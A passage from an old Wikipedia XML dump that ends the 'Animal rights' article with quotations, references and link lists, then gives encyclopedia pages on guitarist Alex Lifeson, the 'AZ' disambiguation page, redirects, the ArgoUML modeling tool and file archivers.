* &quot;A man can live and be healthy without killing animals for food; therefore, if he eats meat, he participates in taking animal life merely for the sake of his appetite. And to act so is immoral.&quot; &amp;mdash; [[Leo Tolstoy]] (''On Civil Disobedience'')

* &quot;It is my view that the vegetarian manner of living by its purely physical effect on the human temperament would most beneficially influence the lot of mankind.&quot; &amp;mdash; [[Albert Einstein]] (Letter to ''Vegetarian Watch-Tower'', [[27 December]] [[1930]])

* &quot;The greatness of a nation and its moral progress can be judged by the way its animals are treated.&quot; &amp;mdash; [[Mahatma Gandhi]]

* &quot;We have enslaved the rest of the animal creation, and have treated our distant cousins in fur and feathers so badly that beyond doubt, if they were able to formulate a religion, they would depict the Devil in human form.&quot; &amp;mdash; [[William Ralph Inge]]

*&quot;The question is not can they reason, nor can they talk, but can they suffer?&quot; [[Jeremy Bentham]]

* &quot;In years of studying the (Animal Rights) mentality and engaging (activists) in debate, I have arrived at four basic characteristics that all ARAs seem to have in common. The proportions vary, of course, but all ARAs seem to have all four traits in some percentage. The four traits are as follows: Misplaced Compassion, Denial, Intellectual Laziness, and Arrogance.&quot; &amp;mdash; Ward M. Clark (''Misplaced Compassion - The Animal Rights Movement Exposed'', Writer's Club Press, 2001)

* &quot;You have just dined, and however scrupulously the slaughter-house is concealed in the graceful distance of miles, there is complicity, expensive races, -- race living at the expense of race.&quot; &amp;mdash; [[Ralph Waldo Emerson]] (&quot;Fate&quot;)

*&quot;As often as Herman had witnessed the slaughter of animals and fish, he always had the same thought:  in their behaviour toward creatures, all men were Nazis.  The smugness with which man could do with other species as he pleased exemplified the most extreme racist theories, the principle that might is right.&quot;  -[[Isaac Bashevis Singer]]

* &quot;The animals themselves are incapable of demanding their own liberation, or of protesting against their condition with votes, demonstrations, or bombs. Human beings have the power to continue to oppress other species forever, or until we make this planet unsuitable for living beings. Will our tyranny continue, proving that we really are the selfish tyrants that the most cynical of poets and philosophers have always said we are? Or will we rise to the challenge and prove our capacity for genuine altruism by ending our ruthless exploitation of the species in our power, not because we are forced to do so by rebels or terrorists, but because we recognize that our position is morally indefensible? The way in which we answer this question depends on the way in which each one of us, individually, answers it.&quot; -[[Peter Singer]]

* &quot;Animals do not survive by rational thought (nor by sign languages allegedly taught to them by psychologists). They survive through inborn reflexes and sensory-perceptual association. They cannot reason. They cannot learn a code of ethics. A lion is not immoral for eating a zebra (or even for attacking a man). Predation is their natural and only means of survival; they do not have the capacity to learn any other.&quot; -Edwin A. Locke (author of &quot;The Prime Movers&quot;)

==See also==
* [[Altruism in animals]]
* [[Animal Liberation Front]]
* [[Animal liberation movement]]
* [[British Union for the Abolition of Vivisection]]
* [[Animal testing]], [[SHAC]]
* [[Animal welfare]]
* [[Ahimsa]]
* [[Barry Horne]]
* [[Blood sport]]
* [[Cinci Freedom]]
* [[GANDALF trial]]
* [[Great ape personhood]]
* [[Imitation meat]], [[In vitro meat]] 
* [[Juicing fish]] Information of injection of dye (cosmetic [[mutilation]]) of fish for the tropical aquarium trade.
* [[List of animal rights groups]]
* [[List of animal welfare and animal rights groups]]
* [[Livestock]]
* [[Open rescue]]
* [[Painism]]
* [[People for the Ethical Treatment of Animals]]
* [[Speciesism]]
* [[United Animal Nations]]
* [[Veganism]], [[Vegetarianism]] 
* [[Vivisection]]
* [[Richard D. Ryder]], [[Steven Best]], [[Peter Singer]], [[Tom Regan]]

==References==
*Bentham, Jeremy. ''Introduction to the Principles of Morals and Legislation'', 1781.
*Frey, R.G. ''Interests and Rights: The Case Against Animals'', 1980
*Regan, Tom. ''The Case for Animal Rights'', New York: Routledge, 1984
*Scruton, Roger. ''Animal Rights and Wrongs'', 1997
*Scruton, Roger. [http://www.city-journal.org/html/10_3_urbanities-animal.html &quot;Animal rights&quot;], ''City Journal'', Summer 2000
*Singer, Peter. ''Animal Liberation'', 1975; second edition, New York: Avon Books, 1990
*[http://www.stpt.usf.edu/hhl/papers/species.htm The Origins of Speciesism] by Hugh LaFollette and Niall Shanks, ''Philosophy'' 1996, pp. 41-60
*[http://print.google.ca/print?id=83_7kgFJ8ggC&amp;dq=Kathryn+Paxton+George&amp;oi=print&amp;pg=1&amp;sig=NSLWKdGM6HGRlOTjgdqJ6z_RZPs&amp;prev=http://www.google.ca/search%3Fnum%3D100%26hl%3Den%26scoring%3Dd%26q%3DKathryn%2BPaxton%2BGeorge%26btnG%3DSearch%26meta%3D Animal, Vegetable, or Woman?: A Feminist Critique of Ethical Vegetarianism] by Kathryn Paxton George
*[http://www.greatapeproject.org/ The Great Ape Project]
*[http://www.meetyourmeat.com/wycd.html Meet Your Meat] a [[PETA]]-produced slaughterhouse tour narrated by [[Alec Baldwin]]

== Further reading ==
===Books about animal rights===
* Adams, Carol. ''The Sexual Politics of Meat: A Feminist-Vegetarian Critical Theory.'' New York: Continuum, 1996.
* Adams, Carol. ''The Pornography of Meat.'' New York: Continuum, 2004.
* Adams, Carol, &amp; Donovan, Josephine. (eds). ''Animals and Women: Feminist Theoretical Explorations.'' London: Duke University Press, 1995.
*Adams, Carol J. ''The Social Construction of Edible Bodies''
*[[Douglas Adams|Adams, Douglas]]. ''Meeting a Gorilla''.
*Anstötz, Christopher. ''Profoundly Intellectually Disabled Humans''
*Auxter, Thomas. ''The Right Not to Be Eaten''
*Barnes, Donald J. ''A Matter of Change''
*Barry, Brian. ''Why Not Noah's Ark?''
*Bekoff, Marc. ''Common Sense, Cognitive Ethology and Evolution''.
*Cantor, David. ''Items of Property''.
*Cate, Dexter L. ''The Island of the Dragon''
*Cavalieri, Paola. ''The Great Ape Project — and Beyond''
*Carwardine, Mark. ''Meeting a Gorilla''
*[[Stephen R. L. Clark|Clark, Stephen R.L.]] ''Apes and the Idea of Kindred''.
*__________________ ''Good Dogs and Other Animals''
*__________________ ''The Pretext of &quot;Necessary Suffering&quot;''
* Clark, Ward M. ''Misplaced Compassion: The Animal Rights Movement Exposed'', Writer's Club Press, 2001
*[[Richard Dawkins|Dawkins, Richard]]. ''Gaps in the mind''.
* Dunayer, Joan. &quot;Animal Equality, Language and Liberation&quot; 2001 
* Francione, Gary. ''Introduction to Animal Rights, Your child or the dog?'', Philadelphia: Temple University Press, 2000
* Nibert, David. ''Animal Rights, Human Rights: Entanglements of Oppression and Liberation'', New York: Rowman and Litterfield, 2002
* Patterson, Charles &quot;Eternal Treblinka&quot; 2002
*[[Roger Scruton|Scruton, Roger]]. ''Animal Rights and Wrongs'' Claridge Press, 2000
*[[Peter Singer|Singer, Peter]], &quot;Animal Liberation&quot;.
* Spiegal, Marjorie. ''The Dreaded Comparison: Human and Animal Slavery'', New York: Mirror Books, 1996.
* Steeve, Peter H. (ed.) ''Animal Others: On Ethics, Ontology, and Animal Life.'' New York: SUNY Press, 1999. 
* [[Angus Taylor|Taylor, Angus]]. ''Animals and Ethics''. Broadview Press, 2003
* Weil, Zoe. ''The Power and Promise of Humane Education.'' British Columbia: New Society Publishers, 2004.  
* Wolfe, Cary. ''Animal Rites: American Culture, the Discourse of Species, and Posthumanist Theory'', Chicago: University of Chicago Press: 2003. 
* Wolch, Jennifer, &amp; Emel, Jody. ''Animal Geographies: Place, Politics, and Identity in the Nature-Culture Borderlands.'' New York: Verso, 1998.
&lt;!--books to add
Ambiguous Apes
Contextual Moral Vegetarianism
The Third Chimpanzee
What's in a Classification?
The Rights of Animals and Future Generations
Chimpanzees’ Use of Sign Language
Chimpanzees’ Use of Sign Language
Personhood, Property and Legal Competence
The Silver Spring Monkeys
Chimpanzees - Bridging the Gap
The Case for the Personhood of Gorillas
Fit to Be Tamed
From Property to Person
Who's Like Us?
Who's Like Us?
Animal Rights in the Political Arena
Against Zoos
Great Apes and the Human Resistance to Equality
Ask No Questions
Spirits Dressed in Furs?
Like Driving a Cadillac
Brave New Farm?
Apes, Humans, Aliens, Vampires and Robots
Persons and Non-Persons
The Concept of Beastliness
The Wahokies
Humans, Nonhumans and Personhood
Constraints and Animals
The Silver Spring Monkeys
The Case for the Personhood of Gorillas
The Post-Darwinian Transition
A Basis for (Interspecies) Equality
A Reply to VanDeVeer
Do Animals Have a Right to Liberty?
Why Darwinians Should Support Equal Treatment
Do Animals Have a Right to Life?
Ill-gotten Gains
The Case for Animal Rights
Animal Rights, Endangered Species and Human Survival
The Ascent of Apes — Broadening the Moral Community
Experiments on Animals
Sentientism
Speciesism in the Laboratory
Aping Persons — Pro and Con
Images of Death and Life
Ethics and the New Animal Liberation Movement
All Animals Are Equal
Do Animals Feel Pain?
Animal Liberation at 30
A Vegetarian Philosophy
The Forgotten Animal Issue
Fighting to Win
The Scientific Basis for Assessing Suffering in Animals
The Limits of Trooghaft
The Chimp Farm
They Are Us
Defending Animals by Appeal to Rights
From Property to Person
An Ecological Argument for Vegetarianism
Language and the Orang-utan
'They Clearly Now See the Link': Militant Voices
Dietethics: Its Influence on Future Farming Patterns
--&gt;

=== Animal rights in philosophy and law ===
* [http://www.nabranimallaw.org The National Association for Biomedical Research Animal Law Section].
* [http://www.lib.ncsu.edu/arights/ The Tom Regan Animal Rights Archive].
* [http://www.utilitarian.net/singer/ Utilitarian Philosophers: Peter Singer].
* [http://www.animal-law.org/ Animal Law Project].
* [http://www.animal-rights.de/ animal-rights.de].
* [http://samvak.tripod.com/animal.html Ethical foundations of animal rights]
* [http://www.animal-rights-library.com The Animal Rights Library]
* [http://plato.stanford.edu/entries/moral-animal/ Stanford Encyclopedia of Philosophy entry on The Moral Status of Animals]
* [http://www.cala-online.org/ The Center on Animal Liberation Affairs (CALA)]
* [http://www.aldf.org/ Animal Legal Defense Fund (ALDF)].

=== Animal rights resources ===
* [http://www.ananimalfriendlylife.com/ An Animal-Friendly Life] Animal Rights News, Commentary, Podcasting, Links &amp; Other Resources
* [http://www.animalpeoplenews.org Animal People] Animal protection news and investigative reporting
* [http://www.indybay.org/animalliberation/ Animal Rights News &amp; Resources] (Northern California and beyond)
* [http://www.iinet.net.au/~rabbit/oarsfr.htm Animal Rights Resources]
* [http://anesthesiaswonderland.bravehost.com/index.html Anesthesia's Wonderland]
* [http://animalvoices.ca Animal Voices Radio Show] A Canadian based radio program with full archieves of past shows on their website for free download. Show features interviews with prominent organizations, authors, and activists from across the globe. Show also covers topics relating to social justice (for example, feminism, anti-racism, and critiques of capitalism) as well as critical environmental theory and praxis as they relate to animal issues. 
* [http://satyamag.com Satya Magazine] A Magazine of Vegetarianism, Animal Rights and Social Justice
* [http://vegnews.com VegNews Magazine]
* [http://veganic.net/ Vegan Voice Magazine]

===Animal rights organizations===
* [http://www.afa-online.org/ Action for Animals]
* [http://www.animalaid.org.uk/ Animal Aid]
* [http://www.alv.org.au/ Animal Liberation Victoria (ALV)]
* [http://www.animal-liberation.tk/ Animal Liberation (Maqi)]
* [http://ark-ii.com/ Animal Rights Kollective (ARKII) - Canada]
* [http://www.ari-online.org/ Animal Rights International (ARI)]
* [http://barryhorne.org/]
* [http://www.cala-online.org/ Center on Animal Liberation Affairs (CALA)]
* [http://www.christianveg.com/ Christian Vegetarian Association (CVA)]
* [http://www.cok.net/ Compassion Over Killing (COK)]
* [http://www.ca4a.org/ Compassionate Action for Animals]
* [http://www.fund.org/ The Fund for Animals]
* [http://www.huntsabs.org.uk/ Hunt Saboteurs Association]
* [http://www.husbandryinstitute.org Husbandry Institute]
* [http://www.hsus.org Humane Society of the United States (HSUS)]
* [http://www.idausa.org/ In Defense of Animals (IDA)]
* [http://www.mercyforanimals.org/ Mercy for Animals]
* [http://www.peta.org/ People for the Ethical Treatment of Animals (PETA)]
* [http://www.protectinganimals.org/ Protecting Animals USA]
* [http://www.rightsforanimals.org/ Rights for Animals]
* [http://www.rspca.org.uk/ Royal Society for the Prevention of Cruelty to Animals (RSPCA)]
* [http://www.serv-online.org/ Society of Ethical &amp; Religious Vegetarians (SERV)]
* [http://www.speakcampaigns.net/ SPEAK ]
* [http://www.animal-rights.ca/ Toronto Animal Rights Society - Canada]
* [http://www.upc-online.org/ United Poultry Concerns (UPC)]
* [http://www.veganoutreach.org/ Vegan Outreach]

===Animal rights online community===
* [http://www.veggieboards.com VeggieBoards] (message board and recipes)
* [http://www.greenzones.org A.P.E. Animal Earth Protectors (The Green Zones)]
* [http://www.peta2.com Peta2 (Question Reality Question Authority)]
* [http://www.animalsuffering.com/forum/ International Animal Rights Community (ARCo)]
* [http://www.farmsanctuary.com Farm Sancturary]

===Animal rights directories===
* [http://search.looksmart.com/p/browse/us1/us317836/us317916/us65566/us235667 LookSmart - Animal Rights] 
* [http://dmoz.org/Society/Issues/Animal_Welfare/Animal_Rights/ Open Directory Project - Animal Rights]
* [http://dir.yahoo.com/Science/Biology/Zoology/Animals__Insects__and_Pets/Animal_Rights/ Yahoo! - Animal Rights]
* [http://p2.forumforfree.com/anesthesiaswond.html  Anesthesia's Wonderland Forums]

=== Animal rights critics  ===
{Note: Not all Animal Rights Activists can or should be lumped togther}
* [http://petakillsanimals.com PETA Kills Animals : PETA's Dirty Secret ]
* [http://www.naiaonline.org/body/articles/archives/arterror.htm Animal Rights Activists use Terror to achieve their end] From the National Animal Interest Alliance 
*[http://consumerfreedom.com/article_detail.cfm/article/154 Center for Consumer Freedom: Take a Bite out of PETA] A petition to have PETA's Tax-exempt status revoked
*[http://www.capitalresearch.org/ap/ap-0797.html]
*[http://www.ucalgary.ca/~powlesla/personal/hunting/rights/antihuman.txt   Critique of Singer and Reagan]
*[http://www.ucalgary.ca/~powlesla/personal/hunting/rights/ Animal Rights Hunting Page]
*[http://www.petalgae.com/ People for the Ethical Treatment of Algae ] Funny parody site

===Humane-education organizations===
* [http://www.bridgesofrespect.org/ Bridges of Respect] Building Bridges Between Humans, Animals and Environment 
* [http://www.cfhs.ca/humaneeducator/ Canadian Federation of Humane Societies Humane Education Program]
* [http://www.circleofcompassion.net/ Circle of Compassion] Exploring Peaceable Choices for the Planet and All those that Share 
* [http://www.empathyproject.org/ The Empathy Project] Inspiring Empathy for Humans, Animals, and the Planet
* [http://www.healingeartheducation.org/ Healing Earth Education]
* [http://www.husbandryinstitute.org Husbandry Institute]
* [http://www.aallinstitute.ca/ The Institute for Animal Associated Lifelong Learning] Interrelating people, nonhuman animals, and the earth through education
* [http://www.iihed.org International Institute for Humane Education] Formerly known as the Center for Compassionate Living
* [http://www.kindplanet.org/ Kind Planet]
* [http://www.nahee.org/ National Association of Environmental and Humane Education] 
* [http://www.newworldvision.org/ New World Vision: Creating a Compassionate, Peaceful, Sustainable World Through Humane Education] 
* [http://www.seedsforchangehumaneeducation.org/ Seeds for Change Humane Education]
* [http://www.teachkind.org/ TeachKind]

===Ethical concerns===
*[http://www.husbandryinstitute.org Husbandry Institute - raising awareness and creating concern among consumers about the food we consume]
*[http://www-phil.tamu.edu/~gary/awvar/lecture/pain.html Which animals feel pain?]
*[http://dels.nas.edu/ilar/jour_online/33_1_2/V33_1_2Question.asp Pain in Animals and Humans]
*[http://www.angelfire.com/linux/vjtorley/ Animals and other living things: their interests, mental capacities and moral entitlements]
*[http://www.hedweb.com/animals/ ''Taking Animals Seriously: Mental Life and Moral Status'' by David DeGrazia - A Review Essay]
*[http://www.mindprod.com/animalrights/animalslaves.html Animal slavery]

[[Category:Animal liberation movement]]
[[Category:Animal welfare]]
[[Category:Bioethics]]
[[Category:ISBN needed]]
[[Category:Rights]]

[[de:Tierrechte]]
[[es:Derechos animales]]
[[he:זכויות בעלי חיים]]
[[nl:Dierenrechten]]
[[pl:Prawa zwierząt]]
[[pt:Direitos dos animais]]
[[ru:Права животных]]
[[sv:Djurrätt]]
[[zh:动物权利]]</text>
    </revision>
  </page>
  <page>
    <title>Alex Lifeson</title>
    <id>2893</id>
    <revision>
      <id>40029111</id>
      <timestamp>2006-02-17T16:44:05Z</timestamp>
      <contributor>
        <username>Latinus</username>
        <id>800894</id>
      </contributor>
      <comment>Recat per CFD of [[Wikipedia:Categories_for_deletion/Log/2006_February_10#Canadians_by_ethnic_and.2For_national_origins|10 February 2006]]</comment>
      <text xml:space="preserve">[[Image:R30alex.jpg|right|thumb|250px|Alex Lifeson &lt;br /&gt;(Rush 30th Anniversary tour photo 2004)]]
'''Alexander Zivojinovich''' [[Order of Canada|OC]] (b. [[August 27]], [[1953]], [[Fernie, British Columbia]]), better known by his stage name '''Alex Lifeson''', is a Canadian musician, best known as the guitarist of [[Rush (band)|Rush]]. (&quot;Lifeson&quot; is a literal translation of &quot;Zivojinovich&quot;.)

The son of [[Serb|Serbian]] immigrants, Nenad &amp; Melka Zivojinovich, Lifeson was raised in [[Toronto, Ontario]]. Lifeson plays [[guitar]] and composes for the [[Rock (music)|rock]] group [[Rush (band)|Rush]]. He is commonly regarded as one of the most underrated rock guitarists of all time. Lifeson's solo album, ''[[Victor (album)|Victor]]'', was released in 1996. 

Outside of music, he owns and operates a small consumer-products design, engineering, and manufacturing firm [[The Omega Concern]], as a [[gourmet]] [[chef]] is part owner of the Toronto restaurant [[The Orbit Room]], and is a licensed aircraft [[Aviator|pilot]] and [[motorcycle]] operator.

Along with his colleagues [[Geddy Lee]] and [[Neil Peart]], Lifeson was made an Officer of the [[Order of Canada]] on [[May 9]], [[1996]].  The trio were the first rock musicians so honoured.

During 2003, he played himself in an episode of the [[Canada|Canadian]] smash hit [[mockumentary]] [[Trailer Park Boys]] in which he is kidnapped by [[Robb Wells|Ricky]] as punishment for not being able to get tickets, then requested to perform a private concert back at the trailer park.  


== Tone and equipment ==

[[Image:Alex-Lifeson.jpg|right|thumb|270px|Alex Lifeson in concert with Rush.&lt;br /&gt; Milan, Italy (September 21, 2004)]]

In Rush's early career, Lifeson used a fairly standard rock rig: a [[Gibson Guitar Corporation|Gibson]] ES-335 guitar, various [[phaser]] and [[flanger]] pedals, and a [[Marshall Amplification|Marshall]] &quot;Plexi&quot; amplifier.  Beginning in the late 1970s, he increasingly incorporated [[twelve-string guitar]] (acoustic and electric) and chorusing in his sound.  While [[Eddie Van Halen]] is usually credited as the inventor of the &quot;[[superstrat]],&quot; Lifeson actually adopted a key super-Strat component — the [[Floyd Rose]] locking [[vibrato]] system — before Van Halen.  By the time of the 1982 Rush album ''Signals'', Lifeson's primary guitar had become a hot-rodded Stratocaster with a [[Bill Lawrence]] high-output [[humbucker]] (a type later made famous by [[Dimebag Darrell]]) in the bridge position and a Floyd Rose bridge, and as the '80s wore on he switched from passive to active pickups and from vacuum tube to solid-state amplification, all with an increasingly thick layer of [[digital signal processing]].  (Lifeson was the primary endorser of the now all-but-forgotten [[Gallien-Krueger]] solid-state guitar amplifier line.)  In the late 1980s he switched to [[Carvin]] guitars in the studio and his short-lived Signature brand guitars onstage.

Lifeson primary used [[PRS Guitars|PRS]] guitars during the recording of ''Roll The Bones'' in 1990/1991.  When recording 1993's ''Counterparts'', Lifeson returned to rock guitar tradition: he continued to use [[PRS Guitars|PRS]] guitars and Marshall amplifiers to record the album, and for the subsequent tour.  On one ''Counterparts'' song, ''Stick It Out'', Lifeson used a [[Gibson Les Paul]] to create a deeper, more resonant tone for the song's signature riff.  He maintains this &quot;classicist&quot; stage rig today, although his signal processing chain is still so complicated as to make [[Pat Metheny]]'s processing rack or [[Robert Fripp]]'s &quot;Lunar Module&quot; look minimalist.  Lifeson currently uses PRS, [[Fender]], and Gibson guitars, and [[Hughes and Kettner]] amplifiers.  In 2005, Hughes and Kettner introduced an Alex Lifeson signature series amplifier; $50 from every amplifier sold will be donated to [[UNICEF]].

== The Naples incident ==

On [[New Year]]'s Eve 2003, Lifeson, his son, and his daughter-in-law were arrested at the Ritz Carlton hotel in [[Naples, Florida]]. Lifeson, after intervening in an altercation between his son and police, was accused of assaulting a sheriff's deputy in what was described as a drunken brawl. 

On April 21, 2005 a plea deal was met between Lifeson and the prosecution by which he would be spared a custodial sentence if he agreed to plead guilty to a single charge of resisting arrest without violence. Lifeson was required to spend 12 months on probation and to pay all court costs. 

According to the band's official website [http://www.rush.com], Lifeson is currently pursuing legal action against the Ritz Carlton and the Collier County Sheriff's Department for what he calls &quot;their incredibly discourteous, arrogant and aggressive behavior of which I had never experienced in thirty years of travel.&quot;

== Trivia ==

Bandmates often call him by his nickname, &quot;Lerxst,&quot; which also appears in a subsection of ''La Villa Strangiato'' (an instrumental based on images of Lifeson's famously vivid nightmares) from ''[[Hemispheres (1978 album)|Hemispheres]]'', titled  &quot;A Lerxst in Wonderland.&quot;

== Awards ==
* 1983 - &quot;Best Rock Talent&quot; - ''Guitar for the Practicing Musician'' 
* 1991 - Inducted into the Guitar for the Practicing Musician Hall of Fame

==External links==
* [http://en.wikisource.org/wiki/Alex_Lifeson_CNN_Interview_2002 Read 2002 CNN interview with Alex] 
* [http://www.naplesnews.com/npdn/news/article/0,2071,NPDN_14940_2547066,00.html Article about Lifeson's arrest]
* [http://www.contactmusic.com/new/xmlfeed.nsf/mndwebpages/lifeson%20and%20son%20spared%20jail Article about Lifeson's plea deal]


{{Rush}}

[[Category:1953 births|Lifeson, Alex]]
[[Category:Living people|Lifeson, Alex]]
[[Category:Canadian musicians|Lifeson, Alex]]
[[Category:Rush|Lifeson, Alex]]
[[Category:Members of the Order of Canada|Lifeson, Alex]]
[[Category:Guitarists|Lifeson, Alex]]
[[Category:Serbian diaspora|Lifeson, Alex]]
[[Category:Serbian Canadians|Lifeson, Alex]]

[[de:Alex Lifeson]]
[[ja:アレックス・ライフソン]]
[[it:Alex Lifeson]]
[[pl:Alex Lifeson]]
[[pt:Alex Lifeson]]</text>
    </revision>
  </page>
  <page>
    <title>AZ</title>
    <id>2894</id>
    <revision>
      <id>38561442</id>
      <timestamp>2006-02-07T03:05:15Z</timestamp>
      <contributor>
        <username>Tobias Conradi</username>
        <id>10784</id>
      </contributor>
      <comment>[[ISO 639-1]]</comment>
      <text xml:space="preserve">{{Wiktionarypar2|AZ|az}}
'''AZ''', '''Az''' or '''az''' can mean:
__NOTOC__
==AZ==
*'''[[Arizona]]''' ( [[United States|U.S.]] [[U.S. state|state]] [[U.S. postal abbreviations|postal symbol]])
*'''[[AstraZeneca]]''', a [[pharmaceutical company]]
*'''[[Azerbaijan]]''': 2-letter [[ISO 3166-1|ISO]] [[country code]]
*'''[[AZ (rapper)|AZ]]''', a [[rapper]] from [[Brooklyn]], [[New York City|New York]], and associate of [[Nas (rapper)|Nas]]
*'''[[AZ Alkmaar]]''', a [[Netherlands|Dutch]] [[football (soccer)]] club
*'''[[Azimuth]]''' (as in &quot;el-az&quot;, short for &quot;elevation and azimuth&quot;)
*the [[IATA airline designator]] for '''[[Alitalia]]'''
*'''''[[I]]''''' in [[Bulgarian language|Bulgarian Language]]

==Az==
* In [[Persian mythology|Persian]] religion '''Az''' was a demonic principle, thought of as feminine and associated with [[lust]]. 
* In [[Manichaeism]], '''Az''' was the mother of evil spirits.
* '''Az''' is the first letter of the [[Early Cyrillic alphabet]].

==az==
*'''[[Azeri language]]''' ([[ISO 639-1]], '''az''')


'' '''See also: [[.az]]''' (the [[ccTLD]] for Azerbaijan).''

{{2LCdisambig}}

[[Category:Persian mythology]]

[[de:AZ]]
[[eo:Az]]
[[fr:AZ]]
[[ko:AZ]]
[[it:Az]]
[[nl:AZ]]
[[ja:AZ]]
[[sl:AZ]]</text>
    </revision>
  </page>
  <page>
    <title>Arizona/state parks</title>
    <id>2895</id>
    <revision>
      <id>15901276</id>
      <timestamp>2004-03-22T05:53:11Z</timestamp>
      <contributor>
        <username>Decumanus</username>
        <id>37527</id>
      </contributor>
      <minor />
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of Arizona state parks]]</text>
    </revision>
  </page>
  <page>
    <title>Arizona/Counties</title>
    <id>2896</id>
    <revision>
      <id>15901277</id>
      <timestamp>2002-09-19T23:34:09Z</timestamp>
      <contributor>
        <username>Zoe</username>
        <id>2376</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[List of Arizona counties]]</text>
    </revision>
  </page>
  <page>
    <title>Natives of Arizona</title>
    <id>2897</id>
    <revision>
      <id>31059646</id>
      <timestamp>2005-12-12T16:03:30Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot: Fixing [[Special:DoubleRedirects|double-redirect]] -&quot;Native American tribes of Arizona&quot; +&quot;Native American tribes in Arizona&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Native American tribes in Arizona]]</text>
    </revision>
  </page>
  <page>
    <title>Abdul Rashid Dostam</title>
    <id>2898</id>
    <revision>
      <id>15901279</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Abdul Rashid Dostum]]
</text>
    </revision>
  </page>
  <page>
    <title>ArgoUML</title>
    <id>2899</id>
    <revision>
      <id>41503084</id>
      <timestamp>2006-02-27T20:26:52Z</timestamp>
      <contributor>
        <ip>84.172.124.253</ip>
      </contributor>
      <text xml:space="preserve">'''ArgoUML''' is an [[open source]] application which uses the [[Unified Modeling Language|UML]] to model the design of computer software.  The application runs on most platforms since it is implemented in [[Java programming language|Java]]. It is distributed under the [[BSD license]].  It provides support for all diagram types of the UML standard and includes cognitive support.

Software Development Magazine gives annual awards to popular software development tools in various categories. In 2003 ArgoUML was a finalist in the &quot;Design and Analysis Tools&quot; category. It received a runner-up award, beating many commercial tools.

Previous stable releases:
*V0.16.1 (August 2004)
*V0.18.1 (April 2005)
*V0.20   (February 2006)

New Features in V0.20:
*UML 1.4 - Enhanced extensibility features of UML 1.4 including multiple Stereotypes per ModelElement, Enumerations, and enhanced TaggedValue support. 
*Sequence Diagrams - a completely new Sequence Diagram implementation - ArgoUML now supports all diagram types
*AndroMDA compatibility - AndroMDA is an open source MDA tool which can generate code of a variety of types, up to entire applications, from the UML 1.4 models created by ArgoUML.
*Improved interoperability - this version reads and writes XMI files compatible with a wider variety of tools. UML 1.3 &amp; 1.4 using XMI 1.0, 1.1, &amp; 1.2 are read and UML 1.4/XMI 1.2 is written.
*JMI (JSR-40) support - A shiny new model subsystem using the NetBeans Model Data Repository (MDR) implementation of the Java Metadata Interface. While largely transparent to users, it will allow easier upgrades to later versions of UML.
*Quality - Hundreds of bugs have been fixed for this release.  
*Visual enhancements - a fresh new splash screen and support for Java 5 look and feel
*Most functions now support Multiple selection of modelelements. 
*Drag and Drop from the explorer tree into the diagram and within the explorer tree. 

Features from earlier versions:
*100% Java - runs on any supported Java platform - also via web start
*Free and Open Source
*Built in design critics provide unobtrusive review of design and suggestions for improvements
*Extensible modules interface - supports add-on modules such as: Java byte code reverse engineering, C#, IDL reverse engineering, Scheme scripting support, etc.
*i18n support for English, German, French, Spanish and Russian
*OCL constraints for Classes.
*code generation language support: Java, PHP, C++ and Csharp (C#)
*reverse engineering.
*class diagram auto layout
*'To do' items saved for persistent cognitive support
*PNG, GIF, JPG, SVG, EPS file generation from diagrams
*fully configurable explorer perspective configurations
*usability driven property panels
*support for comments for multiple elements
*all UML 1.4 diagrams are supported

==See also==
*[[List of UML tools]]
*[[Poseidon for UML]] - a commercial descendant of ArgoUML

==External links==
*[http://argouml.tigris.org Official ArgoUML website]


[[Category:Free software]]
[[Category:Java platform software]]
[[Category:UML tools]]

[[pt:ArgoUML]]</text>
    </revision>
  </page>
  <page>
    <title>File archiver</title>
    <id>2900</id>
    <revision>
      <id>36708456</id>
      <timestamp>2006-01-25T23:03:22Z</timestamp>
      <contributor>
        <username>Florin Clapa</username>
        <id>81584</id>
      </contributor>
      <minor />
      <comment>Removed dummy edit and correct [[Special:Contributions/24.141.254.148|24.141.254.148 link]] in edit summary</comment>
      <text xml:space="preserve">A '''file archiver''' combines a number of [[computer file|file]]s together into one '''archive file''', or a series of archive files, for easier transportation or storage. Many file archivers use [[lossless data compression]] in order to reduce the archive's size.

The most basic archivers just take a list of files and concatenate their contents sequentially into the archive. In addition the archive must also contain some information about at least the names and lengths of the originals, so that proper reconstruction is possible. Most archivers also store [[meta-data]] about a file that the [[operating system]] provides, such as timestamps, ownership and access control.

The process of making an archive file is called ''archiving'' or ''packing''. Reconstructing the original files from the archive is termed ''unarchiving'', ''unpacking'' or ''extracting''.

== Popular archive formats ==
Ubiquitous amongst [[Unix]] and Unix-like [[operating system]]s is the [[tar file format]] (&quot;'''t'''ape '''ar'''chive&quot;). Originally intended for transferring files to and from tape, it is still used on disk-based storage to combine files before they are compressed. Other Unix-originated formats include [[ar (Unix)|ar]] and [[shar (file format)|shar]].

On [[Microsoft Windows|Windows]] platforms, the most widely-used archive format by far is [[ZIP file format|ZIP]]; other popular formats are [[RAR]], [[ACE (file format)|ACE]] and [[ARJ]]. On [[Amiga]]s, the standard archive format is [[LHA (file format)|LHA]], while on Apple [[Apple Macintosh|Macintosh]] computers, [[Stuffit]] is among the most common.

=== Unix ===

Unlike integrated archival and compression tools like ZIP and RAR, the [[Unix]] tools '''ar''', '''tar''', '''cpio''' (for &quot;archiver&quot;, &quot;tape archiver, and &quot;copy in/out&quot;, respectively) act as archivers but not compressors. Users of the Unix tools typically add compression by compressing the result of packing (and uncompressing before unpacking), most often using the [[gzip]] or [[bzip2]] programs. In fact modern '''tar''' programs include an option to automatically call a (de)compression program, so that it looks just as if tar itself could handle compressed archives. This approach has two advantages:

*It follows the [[Unix philosophy|Unix toolbox]] concept that each program should accomplish a ''single'' but well-done task. Once a better compressor is developed, users may use that immediately, without having to give up their archiver.
*Since the whole archive is compressed, redundancy between archived files can be detected and eliminated. An archiver compressing each archived file in isolation cannot exploit these inter-file redundancy.

Its main disadvantage is that extracting one file from a compressed archive requires all the files before it to be decompressed, which may take many minutes for a large archive. Altering the underlying archive is even more inconvenient, requiring the entire file to be uncompressed, altered and then recompressed. Archivers with integrated compression perform these operations much more quickly.

==See also==
*[[List of archive formats]]
*[[List of file archivers]]
